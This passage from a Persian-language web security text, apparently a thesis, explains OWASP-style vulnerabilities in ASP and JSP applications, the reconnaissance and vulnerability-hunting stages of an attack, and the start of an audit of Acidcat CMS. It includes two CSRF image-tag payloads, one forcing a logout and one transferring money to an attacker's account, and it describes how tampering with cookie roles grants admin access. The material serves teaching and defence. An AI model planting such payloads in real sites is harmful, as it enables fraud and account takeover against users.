Linking ،Automation Attack  

اصطلاحي كه در اينجا براي اين آسيب . نيز اغلب براي اين آسيب پذيري كاربرد دارد XSRFمخفف 

  .استاندارد شده است MITRE7و  6OWASPپذيري انتخاب شده در 

                                           
1 Credentials 
2 Session cookie 
3 Token 

  .واژه نامه را ببينيد ٤
5 Windows domain 
6 www.owasp.org 
7 www.mitre.org 
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CSRF ز كارايي سايت براي در حملات به تالارهاي گفتگو معمول است كه كاربران را وادار مي كند ا

براي مثال تگ زير مي تواند باعث خارج شدن اعضا از سايت . اجراي دستورات مهاجم استفاده كنند

  :شود

<img src="http://www.example.com/logout.asp"> 
را مي دهد، مهاجم مي تواند با تگ زير  Getاگر فرض كنيم كه يك بانك اجازه انتقال وجه با متد 

  .قربانيان را وادار كند تا پول به حساب وي واريز كنند

<img src="http://www.example.com/transfer.jsp?frmAcct=document.form.frmAcct& 
toAcct=456789&toSWIFTid=3434&amt=999.99"> 

ياد شده تغيير دهد تا  URLبراي اين كار كافيست مهاجم آدرس عكس خود را در مشخصاتش به 

  .هركس بعد از ورود عكس مهاجم را مي بيند، خواسته مهاجم را اجرا كند

در صحبت خود در همايش  Jeremiah Grossmanبراي بيان خطرناكي اين حمله 

BlackHat2006  با عنوان“Hacking Intranet Sites from the outside”1   نشان داد كه

خود بدون آنكه متوجه شود تغيير  2ممكن است بتوان يك كاربر را مجبور كرد تا در تنظيمات مسيرياب

. حتي اين قرباني اطلاعي از اينكه مسيرياب وي واسط تحت وب براي تنظيم دارد نداشت. به وجود آورد

Jeremiah ت اوليه بود براي نمايش حمله استفاده كرده بوداز يك مسيرياب كه تنظيماتش در حال .  

اگر تگ حاوي حمله در يك برنامه كاربردي قابل ذخيره شدن باشد، شانس پيدا كردن قربانياني كه به 

كه حالت ذخيره شده  XSSدرست مانند حمله . سيستم وارد شده باشند به شدت افزايش مي يابد

)Stored (ابيده شده آن بسيار موثرتر از حالت بازت)Reflected (توجه داشته باشيد كه . آن است

را پياده  CSRFآسيب پذير باشد تا بتوان حمله  XSSاگرچه لازم نيست برنامه كاربردي نسبت به 

 CSRFبيشتر در معرض خطر  XSSسازي كرد، اما يك برنامه كاربردي تحت وب با آسيب پذيري 

                                           
1 http://www.whitehatsec.com/presentations/whitehat_bh_pres_08032006.tar.gz 
2 Router 



51 
 

بهره برداري كند تا اعتبارنامه هاي محرمانه  XSSه مي تواند از يك حمل CSRFچرا كه حمله . است

اين اعتبارنامه ها براي مقابله با (به راحتي بربايد  كه به صورت غير خودكار فرستاده مي شوند را

CSRF برنامه هاي كاربردي از هر دو اين تكنيك ها بهره مي  1بسياري از كرم هاي). گذاشته شده اند

آسيب پذير باشد،  XSSد توجه داشت كه اگر برنامه اي نسبت به حمله پس در قسمت مقابله باي. برند

  .مصون باشد CSRFنمي تواند در مقابل 

  

  :Information Leakage and Improper Error Handlingآسيب پذيري . 6.3.2

 برنامه هاي كاربردي مي توانند به طور غير عمدي اطلاعاتي نظير تنظيمات خود، كارهاي داخلي خود يا

اين اطلاعات مي تواند از . سياست هاي محرمانه خود را در صورت بروز مشكلات يا خطا ها فاش كنند

طريق برگرداندن پيغام هاي مختلف با ورودي هاي مختلف و نيز با استفاده از خطاهاي برنامه به دست 

ي را نشان مي بيايد، چرا كه برنامه هاي كاربردي تحت وب اغلب در هنگام بروز خطا اطلاعات جامع

از طرف ديگر اين اطلاعات مي تواند اهرمي . دهند كه براي رفع خطا توسط برنامه نويس مناسب است

قوي براي اجراي يك حمله قدرتمند و خودكار باشد و به مهاجم كمك كند تا بتواند از يك آسيب 

  .پذيري سو استفاده كند

مي  JSPو  ASPبان هاي مختلف از جمله با توجه به تعريف اين آسيب پذيري، تمام صفحات به ز

  .توانند كاملا آسيب پذير باشند

  :بدين ترتيب انواع اين آسيب پذيري عبارتند از

جزئيات رفع اشكال وقتي كه شامل اطلاعات زيادي در خطا براي نمايش باشد مانند رد پاي  -

  .شكست خورده يا اطلاعات اشكال زدايي SQL، عبارات 2پشته

                                           
1 Worms 
2 Stack traces 
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مانند وقتي با امتحان نام . نتايج مختلف از ورودي هاي مختلف نمايش مي دهندتوابعي كه  -

كاربري درست و رمز عبور غلط نشان دهد رمز درست نيست و با نام كاربري غلط بگويد نام 

  .در برنامه هاي كاربردي تحت وب استچيز معمول  هرچند كه اين يك. ربري درست نيستكا

  

نسبت به يك ورودي است كه در قسمت پايگاه  JSPاهاي يك صفحه براي مثال شكل زير نتيجه خط

  :داده، اجراي آن را با مشكل روبرو كرده است

  
  در قسمت پايگاه داده JSPخطاهاي يك صفحه  5-2شكل 

همانطور كه مي بينيد اطلاعات بسيار زيادي نظير علت اتفاق افتادن خطا و نيز نسخه هاي مورد 

  .ي دهداستفاده را به ما نشان م

  

  :Broken Authentication and Session Managementآسيب پذيري . 7.3.2

مناسب براي امنيت يك برنامه كاربردي وب ضروري  2و مديريت نشست 1Authenticationسيستم  

در  1و مجوز نشست ها 3ضعف ها در اين قسمت اغلب شامل عدم حفاظت درست اعتبارنامه ها.  است

                                           
  .تعريف در واژه نامه آمده است ١

2 Session management 
3 Credentials 
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اين ضعف ها مي تواند منجر به دزديده شدن مجوز كاربران يا مديريت . ستخلال مدت دوام آنها

سيستم، به هم ريختن قسمت مجوز دهي و كنترل كاربران و همچنين نقض سياست هاي دسترسي 

  .سايت شود

غير معمول نيست، اما اين آسيب پذيري ها  Authenticationاگر چه ضعف در ساز و كار اصلي 

، مديريت رمزهاي عبور، )logout(ديگر اين سيستم مانند قسمت خارج شدن معمولا در قسمت هاي 

، سوال )remember password(،  به خاطر داشتن رمز عبور )timeout(زمان هاي خروج خودكار 

  .محرمانه، فراموش كردن رمز عبور و يا به روز رساني حساب كاربري پيش مي آيند

  :ع به ياد آوردن كاربر را نشان مي دهدآسيب پذيري در تاب ASPكد زير به زبان 

  
 Usernameو  UserRoleهمانطور كه مشاهده مي شود، يك مهاجم مي تواند با تغيير پارامترهاي 

خود، مجوز مدير يا هر كاربر برنامه كاربردي تحت وبي را كه از اين تابع استفاده مي كند به  2در كوكي

  .دست بياورد

  

  

  
                                                                                                                              
1 Session tokens 
2 Cookie 
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  :Insecure Cryptographic Storageآسيب پذيري . 8.3.2

امروزه حفاظت از اطلاعات حساس يك بخش مهم در بسياري از برنامه هاي كاربردي تحت وب شده 

  .با اين حال اشتباهات نيز در رمز نگاري اطلاعات حساس بسيار گسترده شده است. است

  :اين اشتباهات عبارتند از

  .عدم رمز نگاري اطلاعات حساس -

  .الگوريتم هاي دست سازاستفاده از  -

  .استفاده غير امن از الگوريتم هاي قدرتمند -

  .و مانند آن MD5 ،SHA-1 ،RC3 ،RC4ادامه استفاده از الگوريتم هاي ضعيف نظير  -

و ذخيره اين كليدها در محلي بدون  1استفاده از كليدهاي نوشته شده دائمي در كد برنامه -

  .حفاظت

  

باشد كه اطلاعات محرمانه  JSPيا  ASPتواند يك برنامه  يك مثال معمول اين آسيب پذيري مي

معلوم كه از طريق وب قابل دسترسي است ذخيره كند و  XMLيا  MDBكاربران را در يك فايل 

  .رمزنگاري به كار رفته در قسمت رمزهاي عبور برگشت پذير باشد

در هنگام تغيير پسورد در  مثال عملي تر براي اين آسيب پذيري زمانيست كه برنامه كاربردي تحت وب

اين نشان مي دهد كه رمز هاي . فيلدهاي صفحه رمز عبور فعلي را بدون رمز نگاري جا سازي مي كند

عبور در پايگاه داده سايت نيز بدون رمز نگاري هستند و علت خطرناك بودن اين عمل آن است كه در 

مي توان رمز عبور ساير  SQL Injectionيا  XSS ،CSRFصورت وجود آسيب پذيري هايي نظير 

  .كاربران را به دست آورد يا به راحتي تغيير داد

  
                                           

1 Hard coding 
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  :Insecure Communicationsآسيب پذيري . 9.3.2

ضعيف ) SSLمعمولا (اغلب برنامه هاي كاربردي تحت وب براي ارتباطات حساس در قسمت رمزنگاري 

باطات معتبر و حساس، به خصوص در بايد براي تمامي ارت) SSLمعمولا (رمزنگاري  .عمل مي كنند

صفحات وب كه از طريق اينترنت قابل دسترسي هستند و در ارتباطات سرويس دهنده ها باهم انجام 

عدم رمزنگاري ارتباطات حساس بدين معناست كه مهاجم مي تواند اطلاعات را در حين رد و بدل . شود

لبته بايد در نظر داشت كه شبكه هاي مختلف ا. شدن رصد كند و داده هاي محرمانه را به دست بياورد

با اين حال، . در اين موضوع با هم تفاوت دارند و ممكن است كمتر يا بيشتر مستعد اين حمله باشند

مهم آن است كه بدانيم معمولا در اغلب شبكه ها پيش مي آيد كه يك كامپيوتر مورد نفوذ قرار بگيرد و 

  .طلاعات شبكه و شنود داده هاي رد و بدل شده بنماينداز آنجا مهاجمان سعي در جمع آوري ا

براي ارتباطات با كاربران نهايي ضروري است، هرچند كه كاربران  SSLبايد توجه داشت كه استفاده از 

ناآگاه دوست دارند از شبكه هاي غير امن كه سرعت بيشتر و پيچيدگي كمتري به دليل نداشتن 

  .رمزنگاري دارند استفاده كنند

زنگاري ارتباطات خود سرويس دهنده ها با هم نيز در پشت صحنه مهم است چرا كه به دليل فضايي رم

كه با هم ارتباط دارند داده هايي كه باهم رد و بدل مي كنند حساس تر و گسترده تر بوده و در نتيجه  

  .از اهميت بيشتري نيز برخوردار اند

هايي هستند كه به صفحات امن به صورت غير امن نيز يك نمونه معمول اين برنامه هاي آسيب پذير آن

براي مثال در . مي توان دسترسي داشت و برنامه كاربردي ارتباط را تبديل به يك ارتباط امن نمي كند

را جدي نمي گيرند و اگر كاربري به جاي  HTTPS1هنگام ورود به سيستم لزوم استفاده از 

                                           
1 Hypertext Transfer Protocol over Secure Socket Layer 
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Https://example.com/login.jsp  ازHttp://example.com/login.jsp  استفاده كند بازهم

  .صفحه بازشده و عمل ورود انجام مي شود

  :Failure to Restrict URL Accessآسيب پذيري . 10.3.2

هاي خاص آن است كه لينك به URLدر بسياري از برنامه هاي كاربردي تحت وب تنها حفاظت براي 

با اين حال، يك مهاجم با . نشده است، نمايش نمي دهندآن صفحات را به كاربري كه وارد سيستم 

انگيزه، ماهر و شايد خوش شانس ممكن است بتواند آن صفحات را بيايد كه در اين صورت مي تواند از 

بايد توجه داشت كه امنيت با مخفي كردن . كارايي برنامه استفاده كند و داده ها را ببيند يا تغيير دهد

نمي آيد، بلكه بايد مجوزهاي دسترسي تعريف شوند و هر صفحه برنامه  داده هاي حساس به دست

  .جداگانه قبل از انجام عمليات، اين مجوزها را بررسي كند

كه در آن . ناميده مي شود forced browsingحمله اي كه عليه اين آسيب پذيري انجام مي شود 

  .دار و كاربردي پيدا مي شوند لينك هاي حساس با متدهايي نظير حدس زدن از بين كلمات معني

در اين آسيب پذيري اگر خاصيت فهرست كردن نام فايل ها و پوشه ها، وقتي سند اصلي مثل 

index.html  وجود ندارد، توسط سرويس دهنده وب فعال باشد بهترين حالت براي حمله پيش مي

  .چرا كه مي توان نام پوشه ها و فايل هاي مهم سيستم را پيدا كرد. آيد

  :چندين نمونه معمول اين ضعف عبارتند از

- URL هاي خاص يا مخفي كه فقط براي كاربران يا مدير سيستم آشكار مي شود، اما توسط بقيه نيز

يا  admin/adduser.asp/مانند . اگر آدرس آن را بدانند قابل دسترسي است

/approveTransfer.jsp كه نمونه هاي معمولي براي نامگذاري هستند.  

هاي ثابت يا گزارش هاي XMLبرنامه هاي كاربردي كه اجازه دسترسي به فايل هاي مخفي نظير  -

  .توليد شده توسط سيستم را مي دهند كه در واقع با استتار آنها امنيت را تامين كرده اند
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 يعني بازهم مي توان. صفحاتي كه مجوز دسترسي را طلب مي كنند اما از رده خارج يا ناكافي هستند -

با تغيير بعضي چيزها مثل كوكي ها به آنها دسترسي پيدا كرد يا اينكه مجوزها قديمي بوده و نياز به 

  .بازنگري دارد

برنامه هايي كه فقط در صفحاتي كه به سمت كاربر مي فرستند مجوز ها را طلب مي كنند و اگر  -

URL ي درست به سمت آن ارسال مقصد كه داده ها به طرف آن ارسال مي شوند پيدا شود و داده ها

  .شوند، عمليات نفوذ صورت مي گيرد

فايل هايي كه در صفحاتي كه مجوز ها را بررسي مي كنند گنجانده مي شوند، اما اگر خود به تنهايي  -

 JSPو  ASPدر زير يك مثال از همين مورد را كه در صفحات . اجرا شوند عملياتي را انجام مي دهند

  .ن مي كنيمبسيار فراگير است بيا

  :است ASPفرض كنيد كدهاي زير متعلق به يك صفحه كنترل اخبار سايت به زبان 

  
اجرا  Add_New_News.aspهمانطور كه مشاهده مي شود، مجوز مديريت لازم است تا صفحه 

يكبار ديگر مجوز دسترسي مديريت را داخل خود بررسي  Add_New_News.aspحال اگر . شود

ند در صورت پيدا كردن نام اين فايل، به اين فايل بدون داشتن مجوز، مستقيما نكند، مهاجم مي توا

  .دسترسي پيدا كند و به هدف خود دست يابد

 

  :خلاصه فصل. 4.2

مشكل اساسي برنامه هاي كاربردي تحت وب اين است كه كاربران هر داده دلخواهي را مي توانند به 

زيادي در برنامه هاي كاربردي تحت وب شناخته شده تاكنون آسيب پذيري هاي . طرف آنها بفرستند
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از آنجايي كه ميزان اين حملات . 2كه حملات زيادي نيز عليه اين آسيب پذيري ها انجام مي شوند. 1اند

آسيب پذيري مهم برنامه هاي كاربردي تحت وب  10و آسيب پذيري ها بسيار زياد است، در اين فصل 

به . هاي معتبر به دست آمده اند، به ترتيب فراگير بودنشان بررسي شدندكه بنا به آمار و ارقام سازمان 

طور قطع مي توان گفت كه بسياري از برنامه هاي كاربردي تحت وب نسبت به اين موارد آسيب پذير 

روزانه تعداد زيادي از برنامه هاي كاربردي تحت وب آسيب پذير در سايت هاي امنيتي ثبت مي . هستند

  . 3آسيب پذيري مهم، ضعف داشته اند 10ك به همه آنها در مقابل يكي از اين شوند كه نزدي

  

  :منابع فصل. 5.2
1. Stuttard Dafydd, Pinto Marcus, "The Web Application Hacker's Handbook 

Discovering and Exploiting Security Flaws", Wiley Publishing Inc., 2008 

2. Open Web Application Security Project, http://www.owasp.org 

3. Http://www.mitre.org/ 
   

                                           
1 http://www.owasp.org/index.php/Category:Vulnerability 
2 http://www.owasp.org/index.php/Category:Attack 
3 http://www.milw0rm.com/webapps.php - http://www.securityfocus.com/bid - http://bugreport.ir/?archive 
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  فصل سوم

بررسي مراحل حمله عليه برنامه هاي كاربردي تحت وب به زبان هاي 

ASP  وJSP:  

  :مراحل حمله عليه برنامه هاي كاربردي تحت وب. 1.3

كنيم، ابتدا بايد از آسيب  براي اينكه بتوانيم امنيت لازم را در يك برنامه كاربردي تحت وب تامين

آسيب پذيري هاي مهم در فصل . پذيري ها مطلع باشيم و سپس روش هاي حمله نفوذگران را بشناسيم

حال براي آنكه بتوانيم دفاع لازم را در مقابل حملات داشته باشيم بايد مراحلي را . قبل مشخص شدند

در واقع، وب سايت يا برنامه كاربردي . سيمكه يك نفوذگر براي انجام عمليات خود انجام مي دهد بشنا

  .تحت وب وقتي امن خواهد بود كه بتواند در هر مرحله حمله جلوي عمليات مهاجمان را بگيرد

در مورد اهميت جلوگيري از اجراي اين مراحل همان كافيست كه بدانيم، برنامه هاي كاربردي تحت 

نفوذگر گرفته اند، بسيار كمتر مورد نفوذ قرار كه جلوي اجراي اين مراحل را توسط  يوب آسيب پذير

  .مي گيرند؛ چرا كه علاوه بر سخت تر كردن راه نفوذ، آسيب پذيري خود را نيز پنهان مي كنند

. حملات حساب شده و موثر عليه برنامه هاي كاربردي تحت وب به دو مرحله اساسي تقسيم مي شوند

ست و دومين مرحله، پيدا كردن آسيب پذيري ها با اولين مرحله، شناسايي و جمع آوري اطلاعات ا

  .توجه به اطلاعات جمع آوري شده مي باشد

  

  :شناسايي و جمع آوري اطلاعات. 2.3

همان طور كه از نام اين قسمت بر مي آيد، اين مرحله به شناسايي و جمع آوري هرچه بيشتر اطلاعات 

رد و هرچه اين شناسايي كامل تر و گسترده تر عمليات نفوذ به اين مرحله نياز اساسي دا. مربوط است
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اگرچه بحثمان در اينجا راجع به برنامه هاي كاربردي تحت . باشد درصد موفقيت عمليات بالاتر مي رود

وب است، اما بايد توجه داشت كه عمليات شناسايي در حالت واقعي بسيار فراتر از وب بوده و حتي 

برنامه نويسان، خدمات شركت، سرويس دهنده هاي كناري،  پيداكردن تمام اطلاعات سرويس دهنده،

در اين حالت حتي پيدا كردن روابط سايت هاي ديگر، . برنامه هاي مشابه و نظاير آن را در برميگيرد

سرويس دهنده هاي ديگر و انسان ها با هدف مورد نظرمان، بسيار اهميت دارد و در واقع هرچيز 

  .مي شودمرتبطي در مرحله شناسايي پيدا 

در شناسايي برنامه هاي كاربردي تحت وب، هدف نهايي آن است كه ما اطلاعات كاملي راجع به فايلها و 

پوشه هاي موجود روي سايت مورد نظر، تكنولوژي استفاده شده، برنامه هاي كاربردي به كار رفته و 

باشد مي توان اين در صورتي كه برنامه كاربردي تحت وب در دسترس . كارايي آن به دست آوريم

مرحله را تكميل شده فرض كرد، چرا كه تمامي آنچه را كه مي خواهيم به دست آوريم، پيشاپيش 

  .داريم

كارايي داشته % 100براي انجام عمليات شناسايي فايل ها و پوشه ها ابزاري خودكار وجود ندارد كه 

ه صورت دستي عمليات شناسايي را باشد لذا همواره بعد از شناسايي توسط ابزارهاي خودكار، خود ب

ابزارهاي . انجام مي دهيم و از خروجي برنامه هاي خودكار نيز براي بالاتر بردن كارايي بهره مي بريم

  :مطرح و مشهور شناسايي نام فايل ها و پوشه ها عبارتند از

Paros 

Burp Spider (Part of Burp Suite) 

WebScarab 

Wikto (Spider) 
Acunetix (Crawler) 

اين ابزارها كمي نسبت به اسكريپت ها هوشمند عمل كرده و لينك هاي داخل آنها را تا حدود زيادي 

شناسايي مي كنند، اما بهرحال به طور كامل نخواهند توانست از پس يك منوي پيچيده با زبان 
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JavaScript داده هاي ، يك سايت كه براي انجام عمليات نياز به نشست معتبر دارد يا سايتي كه

  .ها مي شود، برآيندURLمعتبر موجب پيشروي و ديدن 

بعد از اينكه نام فايل ها و پوشه هاي سايت كه در خود سايت به آنها لينك داده شده بود، پيدا شدند، 

در اين قسمت ابزارهاي . مرحله بعدي شناسايي فايل ها و پوشه ها توسط حدس زدن آغاز مي گردد

به آنها داده مي شوند شروع به كار كرده و تك تك كلمات را روي پوشه ها و  خودكار توسط كلماتي كه

اين پسوندها علاوه بر پسوند برنامه هاي وب (نام فايل ها با جايگشت پسوندهاي آنها امتحان مي كنند 

و در صورت .) و نظاير اينها نيز هستند ASP1 ،BAK ،~1شامل حالتهايي نظير  JSPو  ASPمانند 

از آنجايي كه كلمات مورد استفاده در يك برنامه با برنامه . ل يا پوشه، آن را اعلام مي كنندوجود فاي

براي مثال اگر در اول نام بعضي پوشه ها، . ديگر مي تواند متفاوت باشد، لزوم كنترل دستي وجود دارد

روي سايت امتحان قرار دارد، بايد تمامي كلمات داده شده به برنامه، با اين پيشوند نيز  _Enعبارت 

وجود  NewDocument.jspو  ViewDocument.jspيا اگر در جايي فايل هايي با نام . شوند

نيز مورد  DeleteDocument.jspو  EditDocument.jspدارند، بايد فايل هايي با نام هاي 

يس دهنده و در كنار اين بايد تمامي داده هاي فرستاده شده از سمت كاربر به سرو. بررسي قرار بگيرند

چرا كه . بالعكس را زير نظر گرفته و به دنبال اطلاعات پنهاني اي باشيم كه ارسال يا دريافت مي شوند

شايد در يك قسمت غير فعال شده صفحه، لينكي به يك صفحه يا تابع پراهميت وجود داشته باشد و ما 

ير فعال شده به يك صفحه بتوان آن را در نظر نگرفته باشيم، يا اينكه شايد با فرستادن داده هاي غ

  .اطلاعات مهمي به دست آورد

. با پيدا كردن هرچه بيشتر نام فايل ها، احتمال پيدا كردن آسيب پذيري ها به مراتب بيشتر مي گردد

تنها محدوديت هايي كه در ادامه اين مرحله وجود دارد، محدوديت زمان و تصور از نام فايل ها و پوشه 

  .مرحله مي تواند تا پيدا شدن نام تمامي فايل ها و پوشه ها پاياني نداشته باشد هاست، چرا كه اين
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در مرحله ديگر شناسايي با توجه به فايل ها و مقادير دريافتي از سرويس دهنده، تكنولوژي هاي 

بعد از اين قسمت تمامي برنامه هاي كاربردي تحت وب . استفاده شده و نسخه آنها شناسايي مي شود

كه با سايت يا برنامه يكپارچه شده اند و در آن استفاده شده اند مانند تالارهاي گفتگو، گالري ديگر 

داشتن اين اطلاعات به نفوذگر كمك مي كند تا بتواند با استفاده . عكس و مانند آن، شناسايي مي شوند

د يا كدهايشان از آسيب پذيري در اين نرم افزارهاي جانبي، كه ممكن است از قبل آسيب پذير باشن

  .براي پيدا كردن آسيب پذيري در دسترس باشد، به سايت يا سرويس دهنده مورد نظر خود دست يابد

كي ديگر از كارهايي كه نفوذگران همزمان با جستجوي خودكار روي برنامه هاي كاربردي تحت وب يا ي

براي . مهم از آن است و يافتن اطلاعات Googleسايت ها انجام مي دهند، پيمايش سايت به وسيله 

نمونه، حالت هاي بسياري ديده شده كه سرويس دهنده به علت وجود نقص يا در زمان به روز رساني و 

تغيير نسخه، نام صفحات مخفي يا كدهاي صفحات سايت خود را فاش كرده و در همان زمان نيز موتور 

اين موتور جستجوي  Cacheت كه با استفاده از قابلي. آنها را ثبت كرده است Googleجستجوي 

  .قوي، مي توان آنها را پيدا كرد و از آنها استفاده كرد

پس از پايان عمليات شناسايي، داده هاي به دست آمده از ابزارهاي خودكار و جستجوي دستي در كنار 

  .هم طبقه بندي مي شوند و مرحله بعد با نام پيدا كردن آسيب پذيري ها آغاز مي گردد

  

پيدا كردن آسيب پذيري ها برنامه هاي كاربردي تحت وب به زبان هاي . 3.3

ASP  وJSP: 

  :همواره براي پيدا كردن آسيب پذيري برنامه هاي كاربردي دو حالت وجود دارد
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است، يعني حالتي كه ما به كدهاي يك  1حالت اول پيدا كردن آسيب پذيري ها در حالت جعبه سياه

برنامه كاربردي تحت وب دسترسي نداريم و فقط از طريق وب با آن ارتباط داريم و حالت دوم زماني 

به دنبال  2است كه ما كدهاي يك برنامه كاربردي تحت وب را در اختيار داريم و در اين كدهاي منبع

  ).3حالت جعبه سفيد(آسيب پذيري مي گرديم 

اينكه حالت جعبه سياه به اندازه جعبه سفيد موثر نيست اما بايد توجه داشت كه هر دوي اين روش با 

اينطور نيست كه در حالت جعبه سفيد ديگر استفاده . ها در كنار هم، ما را به بهترين نتيجه مي رساند

جعبه سياه پيدا از متدهاي جعبه سياه بي اهميت باشد و بگوييم به دليل آنكه مشكلاتي كه در حالت 

چرا كه . مي شوند در كدها وجود دارند لذا هميشه در حالت جعبه سفيد نيز حتما پيدا خواهند شد

آسيب پذيري هايي كه با استفاده از متدهاي جعبه سياه پيدا مي شوند، با سرعت بيشتري به دست مي 

ك تابع تودرتو را به درستي ي ند و نيز ممكن است در هنگام خواندن كدها نتوانيم همه چيز ها ماننديآ

  .تحليل كنيم

 

  :اهيس جعبه حالت در ها يريپذ بيآس افتني. 1.3.3

در اين حالت از آنجايي كه كدها را در اختيار نداريم و نام تمام فايل ها و پوشه ها را نيز نمي دانيم، 

  .مرحله شناخت نقش بسيار مهمي براي موفقيت اين مرحله بازي مي كند

  :له از حمله نفوذگران موارد زير را به صورت دستي و خودكار بررسي مي كننددر اين مرح

  :بررسي آسيب پذيري هاي منتشر شده. 1.1.3.3

                                           
1 Black Box 
2 Source Code 
3 White Box 
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در اين بخش با توجه به نوع و نسخه تكنولوژي استفاده شده در سرويس دهنده وب و همچنين برنامه 

دنبال آسيب پذيري هاي از قبل هاي كاربردي تحت وب به كار رفته در سايت اصلي، نفوذگران به 

  . منتشر شده مي گردند تا در صورت به روز نبودن آنها، بتوانند از آن آسيب پذيري ها استفاده كنند

  

  :ورودي صفحات يدستكاري پارامترها. 2.1.3.3

در اين قسمت نفوذگران به صورت دستي و خودكار پارامترهاي ورودي صفحات را تغيير داده و دنبال 

ذيري هاي معمول برنامه هاي كاربردي تحت وب، مانند آنهايي كه در فصل پيشين گفته شد، آسيب پ

در اين حالت امكان دارد خطاهاي برگشتي حاوي اطلاعات مهمي بوده كه نفوذگر را براي . مي گردند

  .پيدا كردن آسيب پذيري ها كمك كند

  

  :تكميل پيدا كردن فايلهاي حاوي اطلاعات حساس. 3.1.3.3

حين انجام مراحل جستجوي آسيب پذيري امكان دارد فايل ها يا پوشه هاي جديدي پيدا شوند، لذا  در

در اين مرحله بايد دوباره با حدس زدن اقدام به پيدا كردن فايل ها و پوشه هاي بيشتر با توجه به 

  .اطلاعات به دست آمده كرد و سپس به دنبال آسيب پذيري آنها نيز بگرديم

  

  :ستجوي متن هاي حساسج. 4.1.3.3

در تمام محتواي صفحاتي كه در هر مرحله برنامه هاي خودكار جستجوي آسيب پذيري، در اين قسمت 

و حتي خطاهاي ايجاد شده به دنبال متن هاي حساس نظير مسير كامل شاخه ها  اند جمع آوري كرده

يا فايلها، كدهاي منبع پيدا شده، آدرس فايلهاي پايگاه هاي داده، آدرسهاي ايميل و هر چيز ديگري مي 

معمولا حالت دستي اين  .د كه اطلاعاتي محرمانه يا حساس از وب سايت را در بر داشته باشدنگرد

  .بسيار كمتر صورت گرفته و در حين انجام عمليات ديگر توسط نفوذگر انجام مي گرددمرحله 
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  ):ديسف جعبه حالت( منبع يكدها داشتن با ها يريپذ بيآس افتني. 2.3.3

كاربردي تحت وب از هزاران خط كد تشكيل شده و در اغلب اوقات زماني كه براي خواندن  يهر برنامه 

 15تا  5آمارها نشان مي دهد بطور متوسط . و شايد در حد چند روز است اين كدها وجود دارد محدود

ساعت زمان  9تا  2و پيدا كردن هر كدام از اين ايرادات بين   1خط كد وجود دارد 1000ايراد در هر 

بنابراين هدف كليدي خواندن موثر كدها، يافتن هرچه بيشتر آسيب پذيري ها با يك زمان و  .2مي برد

براي رسيدن به اين منظور پيروي از يك ساختار مشخص و استفاده از تكنيك ها . استتلاش مشخص 

يك ساختار پيشنهادي موثر امتحان شده كه منجر به پيدا شدن آسيب پذيري .  الزامي به نظر مي رسد

  :ها به آساني و با سرعت بالا مي باشد به صورت زير است

ط كاربر وارد گردند در طول برنامه، و پيدا كردن نحوه دنبال كردن داده هايي كه مي توانند توس - 1

  .پردازش و به كارگيري آنها

  .جستجوي نمونه كدهايي كه مي توانند نشانه وجود آسيب پذيري باشند - 2

خواندن خط به خط كدهاي خطرناك ذاتي براي فهميدن منطق برنامه و پيدا كردن مشكلاتي كه  - 3

اجزا و توابعي كه براي اين خواندن دقيق انتخاب مي شوند مي . ممكن است در آن وجود داشته باشد

مانند قسمت اعتبارسنجي، قسمت مديريت نشست ها (توانند شامل مكانيزم هاي امنيتي كليد در برنامه 

به اجزاي خارجي، و هر چيزي  3، واسطه ها)و ساير كنترل كننده هاي ورودي ، كنترل هاي دسترسي، 

 .استفاده شده است، باشند ++Cيا  Cكه در آن از زبان هاي اصلي مانند 

  

                                           
1 Us Dept. of Defense and the software Engineering Institute 
2 5 year pentagon study 
3 Interfaces 
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فلوچارتي كه در شكل زير آمده، يك روش امتحان شده پيدا كردن آسيب پذيري ها در برنامه هاي 

نده اين است كه آسيب پذيري هاي پيدا شده با اين روش توسط نويس ASPكاربردي تحت وب به زبان 

ثبت شده است  SecurityFocus.comو  Bugreport.irپروژه در سايت هاي مختلف امنيتي نظير 

  .مورد مي رسد 50كه به بيش از 

  
  ASPفلوچارت پيدا كردن آسيب پذيري ها در زبان  1-3شكل 
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آسيب پذيري را بشناسيم مي توانيم وجود آنها را حال به نظر مي رسد اگر موارد مختلف به وجود آمدن 

در مورد آسيب پذيري هاي مهم و چگونگي به وجود آمدن آنها . در برنامه هاي مختلف تشخيص دهيم

  .در فصل گذشته به تفصيل صحبت شد

تنها نكته اي كه از آن مي توان به عنوان يك ترفند براي پيدا كردن بهتر آسيب پذيري ها استفاده كرد 

اين كار علاوه . برنامه نويس در طول برنامه است 1كه در فصل قبل به آن اشاره نشده، استفاده از نظرات

بر اينكه ديد مناسبي به ما كه آشنايي با كار يك تابع يا برنامه خاص را نداريم مي دهد، باعث مي شود 

به آسيب پذيري در يك صفحه ببينيم كه مي توان با استفاده از آن پي تا گاهي اوقات پيغام هايي را 

به عنوان نمونه اين پيغام ها مي توانند شامل پيام هايي باشند كه برنامه نويس براي كار . وب ببريم

مثلا . بعدي خود نوشته است و فراموش كرده تا آن كار را انجام دهد و نظر خود را نيز حذف نكرده است

نكنيم، ورودي غير عددي باعث ايجاد خطا در پايگاه  اگر از پريدن از روي خطاها استفاده": نوشته است

كه اين خود نشان مي دهد كه اين صفحه مي  "بايد بعدا كنترل شوند حتما ورودي ها .داده مي گردد

  .آسيب پذير باشد SQL Injectionتواند نسبت به 

با خواندن  ،JSPيا  ASPپيش نيازي كه براي يافتن آسيب پذيري هاي امنيتي در يك زبان خاص مثل 

كدهاي منبع آن لازم است، توانايي فرد در فهميدن كدهاي آن زبان و داشتن دانش در مورد چگونگي 

-ASPبراي مثال كسي كه مي خواهد آسيب پذيري هاي زبان . عملكرد توابع آن زبان مي باشد

VBScript  را پيدا كند، بايد بداند كه در اين زبان تمامي ورودي ها باRequest ز مي شوند و آغا

آغاز مي شوند  getرا بخواند، بايد بداند تمامي ورودي ها با  Javaكسي كه مي خواهد صفحات به زبان 

  .و براي ديدن ورودي ها بايد به دنبال آنها باشد

                                           
1 Comments 
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نام اولين . آورده شده است ASPدر زير دو مثال كامل از تحليل دو برنامه كاربردي تحت وب به زبان 

برنامه دوم به نام . و كدهاي آن ساده است 1بوده كه يك سيستم مديريت محتواست Acidcatبرنامه 

MegaBBS  بوده كه يك برنامه تالار گفتگو است كه كدهاي آن نسبت به ساير برنامه هايASP 

آسيب پذيري هاي اين دو برنامه بعد از نوشته شدن در سايت . سخت تر است و وقت زيادتري مي گيرد

 .2تي به ثبت رسيدندهاي معتبر امني

  :Acidcatپيدا كردن ضعف هاي امنيتي برنامه . 1.2.3.3

  :مراحل كاري عبارتند از

  .)IISروي (و نصب آن  ASPدانلود سورس كد  - الف

Vendor: http://www.acidcat.com/ 
Version: 3.4.1 

